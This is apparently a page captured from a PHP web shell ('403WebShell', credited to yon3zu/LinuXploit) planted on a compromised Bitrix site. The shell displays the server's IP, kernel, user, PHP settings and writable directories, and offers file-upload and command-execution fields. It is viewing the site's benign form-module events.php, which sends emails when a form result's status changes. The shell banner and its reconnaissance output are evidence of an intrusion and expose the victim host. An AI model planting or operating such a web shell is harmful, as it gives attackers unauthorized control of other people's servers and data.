%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.14.130.136
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/form/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/form//events.php
<?php

class CFormEventHandlers
{
	public static function sendOnAfterResultStatusChange($WEB_FORM_ID, $RESULT_ID, $NEW_STATUS_ID = false, $CHECK_RIGHTS = 'Y')
	{
		$NEW_STATUS_ID = intval($NEW_STATUS_ID);
	
		$dbRes = CForm::GetByID($WEB_FORM_ID);
		if (!$arForm = $dbRes->Fetch())
			return;
		
		CTimeZone::Disable();
		$dbRes = CFormResult::GetByID($RESULT_ID);
		CTimeZone::Enable();

		if (!($arResult = $dbRes->Fetch()) || !$arResult['USER_ID'])
			return;
		
		$dbRes = CUser::GetByID($arResult['USER_ID']);
		if (!($arUser = $dbRes->Fetch()))
			return;
		
		if (!$NEW_STATUS_ID)
			$NEW_STATUS_ID = CFormStatus::GetDefault($WEB_FORM_ID);
		
		$dbRes = CFormStatus::GetByID($NEW_STATUS_ID);
		if (!($arStatus = $dbRes->Fetch()) || $arStatus['MAIL_EVENT_TYPE'] == '')
			return;

		$arTemplates = CFormStatus::GetMailTemplateArray($NEW_STATUS_ID);
		if (!is_array($arTemplates) || count($arTemplates) <= 0)
			return;
			
		$arEventFields = array(
			"EMAIL_TO"				=> $arUser['EMAIL'],
			"RS_FORM_ID"			=> $arForm["ID"],
			"RS_FORM_NAME"			=> $arForm["NAME"],
			"RS_FORM_VARNAME"		=> $arForm["SID"],
			"RS_FORM_SID"			=> $arForm["SID"],
			"RS_RESULT_ID"			=> $arResult["ID"],
			"RS_DATE_CREATE"		=> $arResult["DATE_CREATE"],
			"RS_USER_ID"			=> $arResult['USER_ID'],
			"RS_USER_EMAIL"			=> $arUser['EMAIL'],
			"RS_USER_NAME"			=> $arUser["NAME"]." ".$arUser["LAST_NAME"],
			"RS_STATUS_ID"			=> $arStatus["ID"],
			"RS_STATUS_NAME"		=> $arStatus["TITLE"],
		);
		
		$dbRes = CEventMessage::GetList("id", "asc", array(
			'ID' => $arTemplates,
			"ACTIVE"		=> "Y",
			"EVENT_NAME"	=> $arStatus["MAIL_EVENT_TYPE"]
		));
		
		while ($arTemplate = $dbRes->Fetch())
			CEvent::Send($arTemplate["EVENT_NAME"], $arTemplate["SITE_ID"], $arEventFields, "Y", $arTemplate["ID"]);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit